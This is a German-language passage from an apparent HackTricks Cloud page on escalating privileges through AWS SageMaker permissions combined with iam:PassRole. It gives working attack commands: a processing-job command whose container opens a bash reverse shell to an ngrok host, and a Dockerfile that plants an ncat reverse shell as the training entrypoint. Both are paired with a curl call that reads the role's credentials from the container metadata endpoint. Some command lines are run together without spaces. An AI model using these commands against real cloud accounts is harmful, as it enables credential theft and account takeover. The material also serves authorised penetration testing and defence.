Die Antwort sollte ein NotebookInstanceArn-Feld enthalten, das den ARN der neu erstellten Notebook-Instanz enthält. Anschließend können wir die create-presigned-notebook-instance-url-API verwenden, um eine URL zu generieren, über die wir auf die Notebook-Instanz zugreifen können, sobald sie bereit ist:
Navigiere zur URL mit dem Browser und klicke oben rechts auf "Open JupyterLab", scrolle dann zum Tab "Launcher" und klicke unter dem Abschnitt "Other" auf die Schaltfläche "Terminal".
Jetzt ist es möglich, auf die Metadatenanmeldeinformationen der IAM-Rolle zuzugreifen.
Potenzielle Auswirkungen: Privilege Escalation zur angegebenen Sagemaker-Service-Rolle.
sagemaker:CreatePresignedNotebookInstanceUrl
Wenn bereits Jupyter-Notebooks darauf ausgeführt werden und du sie mit sagemaker:ListNotebookInstances auflisten kannst (oder sie auf andere Weise entdeckst), kannst du eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie im vorherigen Verfahren angegeben.
Potenzielle Auswirkungen: Privilege Escalation zum Sagemaker-Dienstrolle angehängt.
sagemaker:CreateProcessingJob,iam:PassRole
Ein Angreifer mit diesen Berechtigungen kann Sagemaker dazu bringen, einen Verarbeitungsauftrag mit einer Sagemaker-Rolle daran auszuführen. Der Angreifer kann die Definition des Containers angeben, der in einer AWS verwalteten ECS-Konto-Instanz ausgeführt wird, und die Anmeldeinformationen der angehängten IAM-Rolle stehlen.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Potenzielle Auswirkungen: Privilege Escalation zum angegebenen Sagemaker-Service-Rolle.
sagemaker:CreateTrainingJob, iam:PassRole
Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, der einen beliebigen Container ausführt, der mit einer Rolle verbunden ist. Daher kann der Angreifer die Anmeldeinformationen der Rolle stehlen.
Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image generieren müssen, das die Reverse-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p$(awsecrget-login-password--region<region>)<id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Potenzielle Auswirkungen:** Privilege Escalation zum angegebenen Sagemaker-Service-Rolle.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Ein Angreifer mit diesen Berechtigungen kann (potenziell) einen **Hyperparameter-Trainingsjob** erstellen, der **beliebigen Container ausführt**, mit einer **angehängten Rolle**.\
_Ich habe es nicht ausgenutzt wegen Zeitmangels, aber es sieht ähnlich aus wie die vorherigen Exploits, fühlen Sie sich frei, einen PR mit den Exploitationsdetails zu senden._
# Referenzen
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>